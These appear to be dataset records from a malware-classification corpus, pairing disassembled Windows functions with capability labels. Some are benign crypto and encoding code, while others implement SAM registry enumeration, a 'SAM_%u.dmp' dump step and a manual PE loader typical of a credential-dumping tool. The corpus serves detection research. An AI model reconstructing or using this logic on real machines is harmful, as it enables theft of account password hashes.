joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002da10
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x20
call fcn.100584f0
mov eax, dword [0x10092310]
xor eax, esp
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x24]
push ebx
mov ebx, dword [esp + 0x2c]
dec ebx
push edi
mov edi, dword [esp + 0x38]
mov dword [esp + 8], ecx
lea ecx, [ebx - 0x29]
cmp edi, ecx
mov dword [esp + 0xc], edx
jle 0x1002da73
push 0x2d
push str..crypto_rsa_rsa_oaep.c
push 0x6e
push 0x79
push 4
call fcn.1000db70
add esp, 0x14
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1005813d
add esp, 0x20
ret
cmp ebx, 0x29
jge 0x1002daa0
push 0x33
push str..crypto_rsa_rsa_oaep.c
push 0x78
push 0x79
push 4
call fcn.1000db70
add esp, 0x14
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1005813d
add esp, 0x20
ret
push ebp
push esi
push 0
mov byte [eax], 0
lea esi, [eax + 1]
lea ebp, [eax + 0x15]
call fcn.10025850
mov edx, dword [esp + 0x4c]
push eax
mov eax, dword [esp + 0x1c]
push 0
push ebp
push edx
push eax
call fcn.1000a8e0
add esp, 0x18
test eax, eax
je 0x1002db39
mov ecx, ebx
sub ecx, edi
sub ecx, 0x29
push ecx
lea edx, [ebp + 0x14]
push 0
push edx
call fcn.10058150
mov ecx, dword [esp + 0x1c]
mov eax, ebp
sub eax, edi
add eax, ebx
push edi
mov byte [eax - 0x15], 1
push ecx
add eax, 0xffffffec
push eax
call fcn.100587f0
push 0x14
push esi
call fcn.10013340
add esp, 0x20
test eax, eax
jle 0x1002db39
push 0x49
add ebx, 0xffffffec
push str..crypto_rsa_rsa_oaep.c
push ebx
call fcn.1000b4a0
mov edi, eax
add esp, 0xc
mov dword [esp + 0x14], edi
test edi, edi
jne 0x1002db4e
push 0x4c
push str..crypto_rsa_rsa_oaep.c
push 0x41
push 0x79
push 4
call fcn.1000db70
add esp, 0x14
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1005813d
add esp, 0x20
ret
push 0x14
push esi
push ebx
push edi
call fcn.1002d9e0
add esp, 0x10
test eax, eax
jl 0x1002db39
test ebx, ebx
jle 0x1002db7b
mov eax, ebp
sub edi, ebp
mov ecx, ebx
lea esp, [esp]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc eax
sub ecx, 1
jne 0x1002db70
call fcn.10025850
push eax
push ebx
push ebp
lea eax, [esp + 0x24]
push 0x14
push eax
call fcn.1002d860
add esp, 0x14
test eax, eax
jl 0x1002db39
lea ecx, [esp + 0x18]
lea edi, [esp + 0x19]
lea ebp, [esp + 0x1a]
lea edx, [esp + 0x1b]
sub ecx, esi
sub edi, esi
sub ebp, esi
sub edx, esi
lea ebx, [esp + 0x1c]
sub ebx, esi
mov eax, esi
mov dword [esp + 0x10], ebx
mov esi, 4
nop
movzx ebx, byte [ecx + eax]
xor byte [eax], bl
movzx ebx, byte [edi + eax]
xor byte [eax + 1], bl
movzx ebx, byte [eax + ebp]
xor byte [eax + 2], bl
movzx ebx, byte [edx + eax]
xor byte [eax + 3], bl
mov ebx, dword [esp + 0x10]
movzx ebx, byte [ebx + eax]
xor byte [eax + 4], bl
add eax, 5
sub esi, 1
jne 0x1002dbc0
mov ecx, dword [esp + 0x14]
push ecx
call fcn.1000b640
mov ecx, dword [esp + 0x30]
add esp, 4
lea eax, [esi + 1]
pop esi
pop ebp
pop edi
pop ebx
xor ecx, esp
call fcn.1005813d
add esp, 0x20
ret
Function at 0x1004cf90
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
cmp ecx, dword [edi + 4]
jge 0x1004cfa9
mov esi, edi
mov edi, eax
jmp 0x1004cfab
mov esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esp + 0x10]
cmp eax, dword [ebx + 8]
jg 0x1004cfbb
mov eax, ebx
jmp 0x1004cfc5
push eax
push ebx
call fcn.10010ab0
add esp, 8
test eax, eax
jne 0x1004cfcd
pop edi
pop esi
pop ebx
ret
xor eax, eax
cmp dword [edi + 4], eax
jle 0x1004cfe9
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [edi + 4]
jl 0x1004cfd4
cmp eax, dword [esi + 4]
jge 0x1004d000
mov edi, edi
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [esi + 4]
jl 0x1004cff0
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
test eax, eax
jle 0x1004d021
mov ecx, dword [ebx]
lea ecx, [ecx + eax*4 - 4]
mov edx, dword [ecx]
sub ecx, 4
test edx, edx
jne 0x1004d01e
dec eax
test eax, eax
jg 0x1004d010
mov dword [ebx + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x100513b0
Capabilities:
Encode data using base64

Disassembly:
mov ecx, dword [esp + 4]
push ebp
push edi
mov edi, dword [esp + 0x14]
xor ebp, ebp
test edi, edi
jle 0x10051493
push esi
mov esi, dword [esp + 0x14]
lea esp, [esp]
cmp edi, 3
movzx edx, byte [esi]
jl 0x1005142e
movzx eax, byte [esi + 1]
shl edx, 8
or edx, eax
movzx eax, byte [esi + 2]
shl edx, 8
or edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + 1], al
inc ecx
mov eax, edx
shr eax, 6
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
and edx, 0x3f
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
jmp 0x10051480
shl edx, 0x10
cmp edi, 2
jne 0x1005143f
movzx eax, byte [esi + 1]
shl eax, 8
or edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
cmp edi, 1
jne 0x1005146d
lea edx, [edi + 0x3c]
jmp 0x1005147a
shr edx, 6
and edx, 0x3f
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
inc ecx
mov byte [ecx], 0x3d
sub edi, 3
inc ecx
add ebp, 4
add esi, 3
test edi, edi
jg 0x100513d0
pop esi
pop edi
mov eax, ebp
mov byte [ecx], 0
pop ebp
ret
Function at 0x10056070
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10092310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
push 1
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x100560c4
xor eax, eax
jmp 0x10056273
cmp dword [ebp - 0x2c], 2
je 0x100560e0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10056273
lea edx, [ebp - 0x28]
push edx
push 0x20019
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10056266
mov dword [ebp - 0x20], 9
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x1005625c
cmp dword [ebp - 0x20], 8
jne 0x1005625c
mov edx, 1
imul eax, edx, 0
movzx ecx, byte [ebp + eax - 0x14]
push ecx
call fcn.10057110
add esp, 4
movzx ebx, al
shl ebx, 4
mov edx, 1
shl edx, 0
movzx eax, byte [ebp + edx - 0x14]
push eax
call fcn.10057110
add esp, 4
movzx ecx, al
or ebx, ecx
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 0x14]
mov byte [ecx + eax], bl
mov edx, 1
shl edx, 1
movzx eax, byte [ebp + edx - 0x14]
push eax
call fcn.10057110
add esp, 4
movzx ebx, al
shl ebx, 4
mov ecx, 1
imul edx, ecx, 3
movzx eax, byte [ebp + edx - 0x14]
push eax
call fcn.10057110
add esp, 4
movzx ecx, al
or ebx, ecx
mov edx, 1
shl edx, 0
mov eax, dword [ebp + 0x14]
mov byte [eax + edx], bl
mov ecx, 1
shl ecx, 2
movzx edx, byte [ebp + ecx - 0x14]
push edx
call fcn.10057110
add esp, 4
movzx ebx, al
shl ebx, 4
mov eax, 1
imul ecx, eax, 5
movzx edx, byte [ebp + ecx - 0x14]
push edx
call fcn.10057110
add esp, 4
movzx eax, al
or ebx, eax
mov ecx, 1
shl ecx, 1
mov edx, dword [ebp + 0x14]
mov byte [edx + ecx], bl
mov eax, 1
imul ecx, eax, 6
movzx edx, byte [ebp + ecx - 0x14]
push edx
call fcn.10057110
add esp, 4
movzx ebx, al
shl ebx, 4
mov eax, 1
imul ecx, eax, 7
movzx edx, byte [ebp + ecx - 0x14]
push edx
call fcn.10057110
add esp, 4
movzx eax, al
or ebx, eax
mov ecx, 1
imul edx, ecx, 3
mov eax, dword [ebp + 0x14]
mov byte [eax + edx], bl
mov dword [ebp - 0x24], 1
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x24]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005813d
mov esp, ebp
pop ebp
ret
Function at 0x10056630
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x10092310]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x20c]
push eax
push 0x40000
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10056675
or eax, 0xffffffff
jmp 0x100567ac
mov eax, dword [ebp + 0x10]
push eax
push 4
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
test eax, eax
je 0x10056694
or eax, 0xffffffff
jmp 0x100567ac
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x20c]
push eax
push 8
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100566c6
or eax, 0xffffffff
jmp 0x100567ac
mov dword [ebp - 0x218], 0x200
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1006b7b8
lea edx, [ebp - 0x204]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x214], eax
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x204]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x204]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x210]
add eax, 1
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x208], 0x103
jne 0x10056766
mov dword [ebp - 0x208], 0
jmp 0x10056799
cmp dword [ebp - 0x208], 0
jne 0x1005678c
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x204]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10056630
add esp, 0xc
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
je 0x100566c6
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005813d
mov esp, ebp
pop ebp
ret
Function at 0x100567c0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x10092310]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x310], 0xffffffff
push 0x1006b7e8
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.SAMDomainsAccountUsersNames
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x31c]
push edx
push 8
push 0
lea eax, [ebp - 0x84]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10056834
or eax, 0xffffffff
jmp 0x10056961
mov dword [ebp - 0x320], 0x101
mov ecx, dword [ebp - 0x314]
mov dword [ebp - 0x328], ecx
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x320]
push edx
lea eax, [ebp - 0x188]
push eax
mov ecx, dword [ebp - 0x328]
push ecx
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x314]
add eax, 1
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x318], 0
jne 0x10056933
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1006b818
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x188]
push ecx
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
lea eax, [ebp - 0x324]
push eax
push 0x1006b712
lea ecx, [ebp - 0x30c]
push ecx
push 0x80000002
call fcn.10057170
add esp, 0x1c
test eax, eax
jne 0x10056906
mov dword [ebp - 0x310], 0xffffffff
jmp 0x1005694e
mov edx, dword [ebp - 0x324]
cmp edx, dword [ebp + 8]
jne 0x10056931
push pe_nt_image_headers32
lea eax, [ebp - 0x188]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov dword [ebp - 0x310], 0
jmp 0x10056941
cmp dword [ebp - 0x318], 0x103
je 0x10056941
jmp 0x1005694e
cmp dword [ebp - 0x318], 0
je 0x10056834
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005813d
mov esp, ebp
pop ebp
ret
Function at 0x10056e20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
mov eax, dword [0x10092310]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1a0], 0
lea eax, [ebp - 0x11c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x1a8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.SAM__u.dmp
mov ecx, dword [ebp - 0x1a8]
lea edx, [ebp + ecx - 0x11c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
call fcn.10057050
add esp, 4
lea ecx, [ebp - 0x11c]
push ecx
push 0x1006b884
call fcn.10056fb0
add esp, 8
test eax, eax
jne 0x10056ea7
or eax, 0xffffffff
jmp 0x10056f97
lea edx, [ebp - 0x11c]
push edx
call fcn.10056970
add esp, 4
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x10056efe
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10056b10
add esp, 8
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
je 0x10056efe
lea edx, [ebp - 0x11c]
push edx
call fcn.10057050
add esp, 4
mov eax, dword [ebp - 0x1a0]
jmp 0x10056f97
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x10056f12
mov dword [ebp - 0x1a0], 0xfffffffc
jmp 0x10056f82
push str.QUARKS_SAM
lea ecx, [ebp - 0x19c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.SAMDomainsAccount
lea edx, [ebp - 0x19c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0xf0
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x1006b8ac
lea ecx, [ebp - 0x19c]
push ecx
push 0x80000002
call fcn.10057170
add esp, 0x1c
test eax, eax
je 0x10056f6c
mov dword [ebp - 0x1a4], 0
jmp 0x10056f76
mov dword [ebp - 0x1a4], 0xffffffff
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1a0], edx
lea eax, [ebp - 0x11c]
push eax
call fcn.10057050
add esp, 4
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005813d
mov esp, ebp
pop ebp
ret
Function at 0x10057170
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0
push 1
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1005723b
cmp dword [ebp - 0xc], 2
jne 0x1005723b
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 8], ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x20], 0
je 0x100571ed
cmp dword [ebp - 4], 0
jne 0x100571ed
mov ecx, dword [ebp + 0x20]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp + 0x1c], 0
jne 0x10057218
cmp dword [ebp - 4], 0
jne 0x1005720c
mov dword [ebp - 0x14], 1
jmp 0x10057213
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
jmp 0x1005723d
cmp dword [ebp - 4], 0
jne 0x1005722f
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0x1c]
jne 0x1005722f
mov dword [ebp - 0x18], 1
jmp 0x10057236
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
jmp 0x1005723d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10057250
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.100584f0
mov eax, dword [0x10092310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1008], eax
mov dword [ebp - 0x100c], 0
cmp dword [ebp - 0x1008], 0
jne 0x1005728a
xor eax, eax
jmp 0x10057339
cmp dword [ebp + 0xc], 0
jne 0x100572a8
lea ecx, [ebp - 0x1004]
push ecx
mov edx, dword [ebp - 0x1008]
push edx
call fcn.10057350
add esp, 8
jmp 0x100572c4
cmp dword [ebp + 0xc], 1
jne 0x100572c4
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp - 0x1008]
push ecx
call fcn.10057520
add esp, 8
cmp dword [ebp + 0x10], 0
je 0x100572db
lea edx, [ebp - 0x1004]
push edx
call fcn.10057f39
add esp, 4
jmp 0x10057306
push 0
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x1004]
push edx
mov eax, dword [ebp - 0x1014]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x1008]
mov edx, dword [ecx + 0x13c]
mov dword [ebp - 0x1008], edx
mov eax, dword [ebp - 0x100c]
add eax, 1
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x1008], 0
jne 0x1005728a
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005813d
mov esp, ebp
pop ebp
ret
Function at 0x10066771
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10092310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1005fae4
mov dword [ebp - 0x14], eax
cmp dword [0x100973dc], esi
jne 0x10066864
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x100667f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10066944
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10066944
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10066944
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x100973dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x100973e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1008eef0
push edi
mov dword [0x100973e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x100973ec], eax
test eax, eax
je 0x10066861
push 0x1008ef0c
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x100973e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10066889
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1006687c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1006689e
push 4
pop eax
jmp 0x10066946
cmp dword [ebp - 0x14], esi
je 0x1006689e
push dword [0x100973dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10066883
mov eax, dword [0x100973e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x100668fc
cmp dword [0x100973ec], edi
je 0x100668fc
push eax
call ebx
push dword [0x100973ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x100668fc
test eax, eax
je 0x100668fc
call ecx
test eax, eax
je 0x100668f1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x100668f1
test byte [ebp - 8], 1
jne 0x100668fc
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1006692c
mov eax, dword [0x100973e0]
cmp eax, edi
je 0x10066929
push eax
call ebx
test eax, eax
je 0x10066929
call eax
mov esi, eax
test esi, esi
je 0x10066929
mov eax, dword [0x100973e4]
cmp eax, edi
je 0x10066929
push eax
call ebx
test eax, eax
je 0x10066929
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x100973dc]
call ebx
test eax, eax
je 0x10066944
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10066946
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005813d
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x401118
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x401118
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x401058
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x401118
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
mov dword [edi + 4], eax
xor eax, eax
push eax
mov dword [edi + 0xc], eax
mov dword [edi + 8], eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x1000
push dword [esi + 0x50]
push dword [ebp - 4]
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.00401126
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x4010e3
push eax
push edi
call fcn.004012cd
pop ecx
pop ecx
push edi
call fcn.00401347
test eax, eax
pop ecx
je 0x401111
push edi
call fcn.004011f3
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x40111f
add eax, ebx
test eax, eax
je 0x401111
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x40111c
push edi
call fcn.00401511
pop ecx
xor eax, eax
jmp 0x401121
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret